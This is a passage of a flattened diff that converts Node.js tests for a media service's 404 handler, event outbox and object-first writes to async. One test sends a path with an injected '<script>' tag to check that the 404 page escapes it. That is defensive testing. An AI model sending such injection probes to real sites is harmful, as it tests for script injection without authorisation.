});++ req.on('error', reject); req.end();});-- req.on('error', reject); req.end();-- });--}++ }--(async () => {-- const app = express();-- app.get('/known', (req, res) => res.send('ok'));-- app.use(notFound);-- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });-- const base = `http://127.0.0.1:${server.address().port}`;-- try {-- assert.strictEqual(CSP, "default-src 'none'; script-src https://static.cloudflareinsights.com; connect-src https://cloudflareinsights.com");-- assert.strictEqual((await send(base, '/known')).status, 200);++ (async () => {++ const app = express();++ app.get('/known', (req, res) => res.send('ok'));++ app.use(notFound);++ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });++ const base = `http://127.0.0.1:${server.address().port}`;++ try {++ assert.strictEqual(CSP, "default-src 'none'; script-src https://static.cloudflareinsights.com; connect-src https://cloudflareinsights.com");++ assert.strictEqual((await send(base, '/known')).status, 200);-- const r = await send(base, '/__ovcheck-404');-- assert.strictEqual(r.status, 404);-- assert.strictEqual(r.headers['content-security-policy'], CSP);-- assert.strictEqual(r.headers['x-content-type-options'], 'nosniff');-- assert.match(r.headers['content-type'], /^text\/html/);-- assert.ok(r.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'), r.body);++ const r = await send(base, '/__ovcheck-404');++ assert.strictEqual(r.status, 404);++ assert.strictEqual(r.headers['content-security-policy'], CSP);++ assert.strictEqual(r.headers['x-content-type-options'], 'nosniff');++ assert.match(r.headers['content-type'], /^text\/html/);++ assert.ok(r.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'), r.body);-- const x = await send(base, '/x%3Cb%3E?q=<script>');-- assert.strictEqual(x.status, 404);-- assert.ok(!x.body.includes('<script>'), 'the path is escaped');++ const x = await send(base, '/x%3Cb%3E?q=<script>');++ assert.strictEqual(x.status, 404);++ assert.ok(!x.body.includes('<script>'), 'the path is escaped');-- const post = await send(base, '/nope', 'POST');-- assert.ok(post.body.includes('<pre>Cannot POST /nope</pre>'));-- const head = await send(base, '/nope', 'HEAD');-- assert.deepStrictEqual([head.status, head.body], [404, '']);++ const post = await send(base, '/nope', 'POST');++ assert.ok(post.body.includes('<pre>Cannot POST /nope</pre>'));++ const head = await send(base, '/nope', 'HEAD');++ assert.deepStrictEqual([head.status, head.body], [404, '']);-- // index.js mounts it after every route and before the error handler.-- const idx = fs.readFileSync(path.join(__dirname, '..', 'server', 'index.js'), 'utf8');-- const at = idx.indexOf("app.use(require('./not-found').notFound)");-- assert.ok(at > idx.indexOf("app.use('/', require('./public/routes'))"), 'after the last routes');-- assert.ok(at < idx.indexOf('app.use((err, req, res, next) =>'), 'before the error handler');-- console.log('not-found: 404 under Media\'s CSP, Cloudflare Web Analytics allowed');-- } finally { server.close(); }--})().catch((e) => { console.error(e); process.exit(1); });++ // index.js mounts it after every route and before the error handler.++ const idx = fs.readFileSync(path.join(__dirname, '..', 'server', 'index.js'), 'utf8');++ const at = idx.indexOf("app.use(require('./not-found').notFound)");++ assert.ok(at > idx.indexOf("app.use('/', require('./public/routes'))"), 'after the last routes');++ assert.ok(at < idx.indexOf('app.use((err, req, res, next) =>'), 'before the error handler');++ console.log('not-found: 404 under Media\'s CSP, Cloudflare Web Analytics allowed');++ } finally { server.close(); }++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,129 +10,131 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objevents-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),--});++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objevents-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ });--const stub = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- res.statusCode = 503; res.end('{}'); // Events down: rows stay in the outbox for the test to read++ const stub = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ res.statusCode = 503; res.end('{}'); // Events down: rows stay in the outbox for the test to read++ });});--});--const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;--const DELETED_KEYS = ['app_id', 'deleted_at', 'kind', 'legacy_ref', 'object_id'];--const VIS_KEYS = ['app_id', 'changed_at', 'kind', 'legacy_ref', 'object_id', 'previous_visibility', 'visibility'];++ const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;++ const DELETED_KEYS = ['app_id', 'deleted_at', 'kind', 'legacy_ref', 'object_id'];++ const VIS_KEYS = ['app_id', 'changed_at', 'kind', 'legacy_ref', 'object_id', 'previous_visibility', 'visibility'];--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const model = require('../server/objects/model');-- const events = require('../server/events');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-objevents' });-- const sandbox = db.ensureProjectTenant('prj_01TESTOBJEVENTS000000000A', 'sandbox', 1024).app_id;-- const raw = db.getDb();-- const staged = () => raw.prepare('SELECT COUNT(*) AS n FROM media_object_changes').get().n;++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const events = require('../server/events');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-objevents' });++ const sandbox = (await db.ensureProjectTenant('prj_01TESTOBJEVENTS000000000A', 'sandbox', 1024)).app_id;++ const raw = db.getDb();++ const staged = async () => (await raw.prepare('SELECT COUNT(*) AS n FROM media_object_changes').get()).n;-- // With the outbox off, changes wait staged (and the service drops them hourly).-- const v0 = Number(db.createVod({ app_id: 'live', title: 'before the outbox', file_path: path.join(tmp, 'none.mp4') }).lastInsertRowid);-- model.sync('vod', v0);-- db.setVodVisibility(v0, 'unlisted');-- assert.strictEqual(staged(), 1, 'staged by the trigger');-- assert.strictEqual(events.discardObjectChanges(), 1);++ // With the outbox off, changes wait staged (and the service drops them hourly).++ const v0 = Number((await db.createVod({ app_id: 'live', title: 'before the outbox', file_path: path.join(tmp, 'none.mp4') })).lastInsertRowid);++ await model.sync('vod', v0);++ await db.setVodVisibility(v0, 'unlisted');++ assert.strictEqual(await staged(), 1, 'staged by the trigger');++ assert.strictEqual(await events.discardObjectChanges(), 1);-- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 3600000 }));-- const outbox = () => raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));-- const objectEvents = () => outbox().filter((e) => e.event_type.startsWith('media.object.'));++ assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 3600000 }));++ const outbox = async () => (await raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));++ const objectEvents = async () => (await outbox()).filter((e) => e.event_type.startsWith('media.object.'));-- // ── 1. A visibility change through the v1 route's path (projection sync): one event, same transaction ──-- const vodId = Number(db.createVod({ app_id: 'live', user_id: 7, title: 'Secret title', file_path: path.join(tmp, 'v.mp4'), meta: { a: 1 } }).lastInsertRowid);-- model.sync('vod', vodId);-- const obj = model.getObject(db.get('SELECT object_id FROM vods WHERE id = ?', [vodId]).object_id);-- assert.strictEqual(objectEvents().length, 0, 'creating an object is not one of these events');-- db.setVodVisibility(vodId, 'private');-- let evs = objectEvents();-- assert.strictEqual(evs.length, 1);-- assert.strictEqual(staged(), 0, 'recorded in the sync transaction, nothing left staged');-- const e = evs[0];-- assert.strictEqual(e.event_type, 'media.object.visibility_changed');-- assert.deepStrictEqual(e.subject, { type: 'object', id: obj.id });-- assert.deepStrictEqual([e.source, e.visibility, e.priority, e.actor], ['media', 'internal', 'important', { type: 'service', id: 'media' }]);-- assert.deepStrictEqual(Object.keys(e.payload).sort(), VIS_KEYS, 'exactly the minimal payload');-- assert.deepStrictEqual([e.payload.object_id, e.payload.app_id, e.payload.kind, e.payload.legacy_ref, e.payload.visibility, e.payload.previous_visibility],-- [obj.id, 'live', 'vod', `legacy:live:vod:${vodId}`, 'private', 'public']);-- assert.ok(ISO.test(e.payload.changed_at));-- assert.ok(!JSON.stringify(e.payload).includes('Secret title') && !('owner_user_id' in e.payload), 'no tenant data');-- db.setVodVisibility(vodId, 'private');-- model.sync('vod', vodId);-- assert.strictEqual(objectEvents().length, 1, 'no event when nothing changed');-- console.log('✅ visibility change: one media.object.visibility_changed, minimal payload, committed with the change');++ // ── 1. A visibility change through the v1 route's path (projection sync): one event, same transaction ──++ const vodId = Number((await db.createVod({ app_id: 'live', user_id: 7, title: 'Secret title', file_path: path.join(tmp, 'v.mp4'), meta: { a: 1 } })).lastInsertRowid);++ await model.sync('vod', vodId);++ const obj = await model.getObject((await db.get('SELECT object_id FROM vods WHERE id = ?', [vodId])).object_id);++ assert.strictEqual((await objectEvents()).length, 0, 'creating an object is not one of these events');++ await db.setVodVisibility(vodId, 'private');++ let evs = await objectEvents();++ assert.strictEqual(evs.length, 1);++ assert.strictEqual(await staged(), 0, 'recorded in the sync transaction, nothing left staged');++ const e = evs[0];++ assert.strictEqual(e.event_type, 'media.object.visibility_changed');++ assert.deepStrictEqual(e.subject, { type: 'object', id: obj.id });++ assert.deepStrictEqual([e.source, e.visibility, e.priority, e.actor], ['media', 'internal', 'important', { type: 'service', id: 'media' }]);++ assert.deepStrictEqual(Object.keys(e.payload).sort(), VIS_KEYS, 'exactly the minimal payload');++ assert.deepStrictEqual([e.payload.object_id, e.payload.app_id, e.payload.kind, e.payload.legacy_ref, e.payload.visibility, e.payload.previous_visibility],++ [obj.id, 'live', 'vod', `legacy:live:vod:${vodId}`, 'private', 'public']);++ assert.ok(ISO.test(e.payload.changed_at));++ assert.ok(!JSON.stringify(e.payload).includes('Secret title') && !('owner_user_id' in e.payload), 'no tenant data');++ await db.setVodVisibility(vodId, 'private');++ await model.sync('vod', vodId);++ assert.strictEqual((await objectEvents()).length, 1, 'no event when nothing changed');++ console.log('✅ visibility change: one media.object.visibility_changed, minimal payload, committed with the change');-- // ── 2. A rolled-back change has no event ──-- assert.throws(() => raw.transaction(() => {-- raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(obj.id);-- events.recordObjectChanges();-- throw new Error('rollback');-- })(), /rollback/);-- assert.strictEqual(objectEvents().length, 1);-- assert.strictEqual(staged(), 0);-- assert.throws(() => events.recordObjectChanges(), /inside the transaction/);-- console.log('✅ a rolled-back change leaves neither an event nor a staged row');++ // ── 2. A rolled-back change has no event ──++ await assert.rejects(async () => await raw.tx(async () => {++ await raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(obj.id);++ await events.recordObjectChanges();++ throw new Error('rollback');++ }), /rollback/);++ assert.strictEqual((await objectEvents()).length, 1);++ assert.strictEqual(await staged(), 0);++ await assert.rejects(async () => await events.recordObjectChanges(), /inside the transaction/);++ console.log('✅ a rolled-back change leaves neither an event nor a staged row');-- // ── 3. A row deleted inside announce(): media.object.deleted in the same transaction ──-- const { announce } = require('../server/webhooks');-- announce('live', 'vod.failed', { change: () => db.run('DELETE FROM vods WHERE id = ?', [vodId]), payload: { id: vodId } });-- evs = objectEvents();-- assert.strictEqual(evs.length, 2);-- assert.strictEqual(evs[1].event_type, 'media.object.deleted');-- assert.deepStrictEqual(Object.keys(evs[1].payload).sort(), DELETED_KEYS);-- assert.deepStrictEqual([evs[1].payload.object_id, evs[1].payload.kind, evs[1].payload.legacy_ref], [obj.id, 'vod', `legacy:live:vod:${vodId}`]);-- assert.ok(ISO.test(evs[1].payload.deleted_at));-- const all = outbox();-- assert.strictEqual(all[all.length - 2].event_type, 'media.vod.failed', 'queued together with the outcome');-- console.log('✅ a vods row deleted in announce(): media.object.deleted with media.vod.failed, one transaction');++ // ── 3. A row deleted inside announce(): media.object.deleted in the same transaction ──++ const { announce } = require('../server/webhooks');++ await announce('live', 'vod.failed', { change: async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]), payload: { id: vodId } });++ evs = await objectEvents();++ assert.strictEqual(evs.length, 2);++ assert.strictEqual(evs[1].event_type, 'media.object.deleted');++ assert.deepStrictEqual(Object.keys(evs[1].payload).sort(), DELETED_KEYS);++ assert.deepStrictEqual([evs[1].payload.object_id, evs[1].payload.kind, evs[1].payload.legacy_ref], [obj.id, 'vod', `legacy:live:vod:${vodId}`]);++ assert.ok(ISO.test(evs[1].payload.deleted_at));++ const all = await outbox();++ assert.strictEqual(all[all.length - 2].event_type, 'media.vod.failed', 'queued together with the outcome');++ console.log('✅ a vods row deleted in announce(): media.object.deleted with media.vod.failed, one transaction');-- // ── 4. A native object soft-deleted through the v2 path ──-- const nativeId = model.createObject({ app_id: 'live', kind: 'file', visibility: 'unlisted', lifecycle_status: 'ready' });-- model.softDelete(model.getObject(nativeId), { by: 'test' });-- evs = objectEvents();-- assert.deepStrictEqual([evs[2].event_type, evs[2].payload.object_id, evs[2].payload.legacy_ref, evs[2].payload.kind], ['media.object.deleted', nativeId, null, 'file']);-- raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(nativeId);-- assert.strictEqual(staged(), 0, 'a deleted object\'s visibility is not an event');-- console.log('✅ soft delete of a native object: media.object.deleted');++ // ── 4. A native object soft-deleted through the v2 path ──++ const nativeId = await model.createObject({ app_id: 'live', kind: 'file', visibility: 'unlisted', lifecycle_status: 'ready' });++ await model.softDelete(await model.getObject(nativeId), { by: 'test' });++ evs = await objectEvents();++ assert.deepStrictEqual([evs[2].event_type, evs[2].payload.object_id, evs[2].payload.legacy_ref, evs[2].payload.kind], ['media.object.deleted', nativeId, null, 'file']);++ await raw.prepare("UPDATE media_objects SET visibility = 'public' WHERE id = ?").run(nativeId);++ assert.strictEqual(await staged(), 0, 'a deleted object\'s visibility is not an event');++ console.log('✅ soft delete of a native object: media.object.deleted');-- // ── 5. Any other path (a row deleted outside a transaction, operator SQL): staged, then drained ──-- const clipId = Number(db.createClip({ app_id: 'live', vod_id: null, title: 'c', file_path: path.join(tmp, 'c.webm') }).lastInsertRowid);-- const clipObj = db.get('SELECT object_id FROM clips WHERE id = ?', [clipId]).object_id;-- const before = objectEvents().length;-- db.run('DELETE FROM clips WHERE id = ?', [clipId]);-- assert.strictEqual(staged(), 1, 'the trigger staged it with the delete');-- assert.strictEqual(objectEvents().length, before);-- assert.strictEqual(events.drainObjectChanges(), 1);-- evs = objectEvents();-- assert.deepStrictEqual([evs[evs.length - 1].event_type, evs[evs.length - 1].payload.object_id, evs[evs.length - 1].payload.kind], ['media.object.deleted', clipObj, 'clip']);-- assert.strictEqual(staged(), 0);-- console.log('✅ a change made outside Media\'s transactions is staged by the trigger and drained into the outbox');++ // ── 5. Any other path (a row deleted outside a transaction, operator SQL): staged, then drained ──++ const clipId = Number((await db.createClip({ app_id: 'live', vod_id: null, title: 'c', file_path: path.join(tmp, 'c.webm') })).lastInsertRowid);++ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [clipId])).object_id;++ const before = (await objectEvents()).length;++ await db.run('DELETE FROM clips WHERE id = ?', [clipId]);++ assert.strictEqual(await staged(), 1, 'the trigger staged it with the delete');++ assert.strictEqual((await objectEvents()).length, before);++ assert.strictEqual(await events.drainObjectChanges(), 1);++ evs = await objectEvents();++ assert.deepStrictEqual([evs[evs.length - 1].event_type, evs[evs.length - 1].payload.object_id, evs[evs.length - 1].payload.kind], ['media.object.deleted', clipObj, 'clip']);++ assert.strictEqual(await staged(), 0);++ console.log('✅ a change made outside Media\'s transactions is staged by the trigger and drained into the outbox');-- // ── 6. Sandbox tenants produce no platform events ──-- const sb = model.createObject({ app_id: sandbox, kind: 'file', visibility: 'private', lifecycle_status: 'ready' });-- const n = objectEvents().length;-- raw.transaction(() => { raw.prepare("UPDATE media_objects SET visibility = 'unlisted' WHERE id = ?").run(sb); events.recordObjectChanges(); })();-- assert.strictEqual(objectEvents().length, n, 'none for a sandbox');-- assert.strictEqual(staged(), 0);-- console.log('✅ sandbox tenants: no events');++ // ── 6. Sandbox tenants produce no platform events ──++ const sb = await model.createObject({ app_id: sandbox, kind: 'file', visibility: 'private', lifecycle_status: 'ready' });++ const n = (await objectEvents()).length;++ await raw.tx(async () => { await raw.prepare("UPDATE media_objects SET visibility = 'unlisted' WHERE id = ?").run(sb); await events.recordObjectChanges(); });++ assert.strictEqual((await objectEvents()).length, n, 'none for a sandbox');++ assert.strictEqual(await staged(), 0);++ console.log('✅ sandbox tenants: no events');-- events._reset();-- stub.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All object event tests passed');-- process.exit(0);++ events._reset();++ stub.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All object event tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -11,309 +11,316 @@ const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const { execFileSync } = require('child_process');const express = require('express');const sharp = require('sharp');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-object-first-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',--});----const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const model = require('../server/objects/model');--const drift = require('../server/objects/drift');--const tools = require('../server/vod/media-tools');--const thumbService = require('../server/thumbnails/thumbnail-service');--const cutter = require('../server/vod/clip-cutter');--const vodStorage = require('../server/vod/vod-storage');--const clipJobs = require('../server/vod/clip-jobs');--const { finalizeVod } = require('../server/vod/finalize');----db.upsertApp({ app_id: 'live', api_key: 'live-key-object-first' });--const raw = db.getDb();--const q = { all: (sql, p = []) => raw.prepare(sql).all(...p), get: (sql, p = []) => raw.prepare(sql).get(...p) };--const count = (table) => raw.prepare(`SELECT COUNT(*) AS n FROM ${table}`).get().n;----// No ffmpeg in these paths: the thumbnail generators and the probes answer as a real file would.--thumbService.generateVodThumbnail = async () => null;--thumbService.generateClipThumbnail = async () => null;--tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 30, error: null });--tools.probeDuration = async () => ({ ok: true, seconds: 30, format: {}, streams: [], error: null });--tools.remuxForSeeking = async () => true;--tools.probeVodInfo = async () => ({ duration: 12 });----/** The row, and the object its object_id names; asserts the pair agrees on every field a sync writes. */--function linked(table, keyCol, key, label) {-- const row = db.get(`SELECT * FROM ${table} WHERE ${keyCol} = ?`, [key]);-- assert.ok(row, `${label}: row exists`);-- assert.ok(row.object_id, `${label}: row names its object`);-- const obj = model.getObject(row.object_id);-- assert.ok(obj, `${label}: object exists right after the write`);-- const p = { vods: model.vodProjection, clips: model.clipProjection, files: model.fileProjection, pastes: model.pasteProjection }[table](row);-- const want = drift.expectedFields(p);-- for (const f of drift.FIELDS) assert.strictEqual(String(obj[f] ?? ''), String(want[f] ?? ''), `${label}: object ${f}`);-- return { row, obj };--}--const noDrift = (label) => {-- const r = drift.buildReport(q);-- assert.strictEqual(r.total_drift, 0, `${label}:\n${drift.formatReport(r)}`);-- return r;--};----const app = express();--app.use(express.json({ limit: '5mb' }));--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));--app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));--const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;-- const auth = { authorization: 'Bearer live-key-object-first' };-- const call = async (method, p, body) => {-- const headers = { ...auth };-- if (body && !(body instanceof FormData)) headers['content-type'] = 'application/json';-- const r = await fetch(base + p, { method, headers, body: body && !(body instanceof FormData) ? JSON.stringify(body) : body });-- return { status: r.status, body: await r.json().catch(() => null) };-- };-- const form = (field, bytes, type, name, extra = {}) => {-- const f = new FormData();-- for (const [k, v] of Object.entries(extra)) f.append(k, String(v));-- f.append(field, new Blob([bytes], { type }), name);-- return f;++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-object-first-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_PUBLIC_URL: 'https://media.test',++ });++++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const drift = require('../server/objects/drift');++ const tools = require('../server/vod/media-tools');++ const thumbService = require('../server/thumbnails/thumbnail-service');++ const cutter = require('../server/vod/clip-cutter');++ const vodStorage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const clipJobs = require('../server/vod/clip-jobs');++ const { finalizeVod } = require('../server/vod/finalize');++++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-object-first' });++ const raw = db.getDb();++ const q = { all: async (sql, p = []) => await raw.prepare(sql).all(...p), get: async (sql, p = []) => await raw.prepare(sql).get(...p) };++ const count = async (table) => (await raw.prepare(`SELECT COUNT(*) AS n FROM ${table}`).get()).n;++++ // No ffmpeg in these paths: the thumbnail generators and the probes answer as a real file would.++ thumbService.generateVodThumbnail = async () => null;++ thumbService.generateClipThumbnail = async () => null;++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 30, error: null });++ tools.probeDuration = async () => ({ ok: true, seconds: 30, format: {}, streams: [], error: null });++ tools.remuxForSeeking = async () => true;++ tools.probeVodInfo = async () => ({ duration: 12 });++++ /** The row, and the object its object_id names; asserts the pair agrees on every field a sync writes. */++ async function linked(table, keyCol, key, label) {++ const row = await db.get(`SELECT * FROM ${table} WHERE ${keyCol} = ?`, [key]);++ assert.ok(row, `${label}: row exists`);++ assert.ok(row.object_id, `${label}: row names its object`);++ const obj = await model.getObject(row.object_id);++ assert.ok(obj, `${label}: object exists right after the write`);++ const p = { vods: model.vodProjection, clips: model.clipProjection, files: model.fileProjection, pastes: model.pasteProjection }[table](row);++ const want = drift.expectedFields(p);++ for (const f of drift.FIELDS) assert.strictEqual(String(obj[f] ?? ''), String(want[f] ?? ''), `${label}: object ${f}`);++ return { row, obj };++ }++ const noDrift = async (label) => {++ const r = await drift.buildReport(q);++ assert.strictEqual(r.total_drift, 0, `${label}:\n${drift.formatReport(r)}`);++ return r;};-- const png = await sharp({ create: { width: 24, height: 24, channels: 3, background: '#3366ff' } }).png().toBuffer();---- // ── 1. VOD: create, chunk upload, metadata/visibility, finalize, thumbnail, health, tier move ──-- let r = await call('POST', '/vods', { title: 'First', user_id: 7, visibility: 'unlisted' });-- assert.strictEqual(r.status, 201);-- const vodId = r.body.id;-- let { obj } = linked('vods', 'id', vodId, 'vod create');-- assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.legacy_ref], ['vod', 'unlisted', 'uploading', `legacy:live:vod:${vodId}`]);---- r = await call('POST', '/vods', { title: 'Clips only', clips_only: true });-- assert.strictEqual(r.status, 201);-- const clipsOnly = db.get('SELECT * FROM vods WHERE id = ?', [r.body.id]);-- assert.strictEqual(clipsOnly.clips_only, 1, 'clips_only written with the row');-- assert.strictEqual(clipsOnly.object_id, null, 'a clips-only recording has no object (skipped by design)');---- r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(40000, 1), 'video/webm', 'a.webm'));-- assert.strictEqual(r.body.status, 'created');-- ({ obj } = linked('vods', 'id', vodId, 'first chunk'));-- const loc = () => model.listLocations(obj.id).find(l => l.provider === 'local');-- assert.strictEqual(loc().state, 'present', 'the recording file is a present local copy at once');-- assert.strictEqual(obj.size_bytes, 40000);-- r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(8000, 2), 'video/webm', 'b.webm'));-- assert.strictEqual(r.body.status, 'appended');-- ({ obj } = linked('vods', 'id', vodId, 'chunk progress'));-- assert.strictEqual(obj.size_bytes, 48000, 'progress updates carry the object size with them');---- r = await call('PUT', `/vods/${vodId}`, { title: 'Renamed', visibility: 'private' });-- assert.strictEqual(r.status, 200);-- ({ obj } = linked('vods', 'id', vodId, 'vod update'));-- assert.strictEqual(obj.visibility, 'private');-- assert.strictEqual(model.parseJson(obj.metadata, {}).title, 'Renamed');---- const done = await finalizeVod(vodId);-- assert.ok(done && done.health_status === 'ok');-- ({ obj } = linked('vods', 'id', vodId, 'finalize'));-- assert.strictEqual(obj.lifecycle_status, 'ready', 'the ready transition commits with its object');-- assert.strictEqual(model.parseJson(obj.metadata, {}).duration_seconds, 30);---- r = await call('POST', `/thumbnails/vod/${vodId}`, { image: png.toString('base64') });-- assert.strictEqual(r.status, 200);-- ({ obj } = linked('vods', 'id', vodId, 'thumbnail'));-- const thumbName = path.basename(r.body.url);-- const thumbObj = model.getObjectByLegacyRef(`legacy:live:thumbnail:${thumbName}`);-- assert.ok(thumbObj, 'the thumbnail object is written with the row');-- assert.strictEqual(model.getVariant(obj.id, 'thumbnail').derived_object_id, thumbObj.id);-- assert.deepStrictEqual([thumbObj.visibility, thumbObj.size_bytes], ['unlisted', png.length], 'a private VOD\'s thumbnail is unlisted');---- db.updateVodHealth(vodId, { status: 'corrupt', issues: ['test'], quarantine: true });-- assert.strictEqual(linked('vods', 'id', vodId, 'health').obj.lifecycle_status, 'failed');-- db.updateVodHealth(vodId, { status: 'ok', issues: [] });---- model.afterTierMove(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/x.webm' WHERE id = ?", [vodId]));-- ({ obj } = linked('vods', 'id', vodId, 'tier move'));-- assert.strictEqual(obj.canonical_provider, 'b2');-- assert.strictEqual(model.listLocations(obj.id).find(l => l.provider === 'b2').state, 'present', 'the verified copy is marked with the flip');---- // A ghost row (a recording that never produced a file) gets its object as it is quarantined.-- raw.prepare("INSERT INTO vods (id, app_id, title, created_at) VALUES (500, 'live', 'ghost', datetime('now', '-2 hours'))").run();-- assert.strictEqual(vodStorage.reconcileGhosts(), 1);-- assert.strictEqual(linked('vods', 'id', 500, 'ghost quarantine').obj.lifecycle_status, 'failed');-- console.log('✅ VOD writes (create, chunks, update, finalize, thumbnail, health, tier move, ghost quarantine) commit with their object');---- // ── 2. Clips: upload, create + re-cut (processing -> ready | failed), update, delete ──-- r = await call('POST', '/clips', form('video', Buffer.alloc(5000, 3), 'video/webm', 'c.webm', { title: 'Up', vod_id: vodId, visibility: 'private' }));-- assert.strictEqual(r.status, 201);-- const upId = r.body.id;-- ({ obj } = linked('clips', 'id', upId, 'clip upload'));-- assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.size_bytes], ['clip', 'private', 'ready', 5000]);---- const cutId = Number(db.createClip({ app_id: 'live', vod_id: vodId, user_id: 7, title: 'Cut', start_time: 1, end_time: 6, duration_seconds: 5, visibility: 'unlisted', status: 'processing' }).lastInsertRowid);-- ({ obj } = linked('clips', 'id', cutId, 'clip create'));-- assert.deepStrictEqual([obj.visibility, obj.lifecycle_status], ['unlisted', 'uploading']);-- const cutFile = path.join(process.env.CLIPS_PATH, 'cut.webm');-- fs.writeFileSync(cutFile, Buffer.alloc(6000, 4));-- const realResolve = vodStorage.resolveMediaSource;-- const realCut = cutter.cutClipFile;-- vodStorage.resolveMediaSource = async () => ({ kind: 'file', value: '/src.webm' });-- cutter.cutClipFile = async () => ({ ok: true, filePath: cutFile, duration: 5 });-- assert.strictEqual((await clipJobs.recutClip(cutId)).ok, true);-- ({ obj } = linked('clips', 'id', cutId, 'clip ready'));-- assert.deepStrictEqual([obj.lifecycle_status, obj.size_bytes], ['ready', 6000], 'the ready transition (announce) commits with its object');-- vodStorage.resolveMediaSource = async () => null;-- assert.strictEqual((await clipJobs.recutClip(cutId)).ok, false);-- assert.strictEqual(linked('clips', 'id', cutId, 'clip failed').obj.lifecycle_status, 'failed');-- vodStorage.resolveMediaSource = realResolve;-- cutter.cutClipFile = realCut;---- r = await call('PUT', 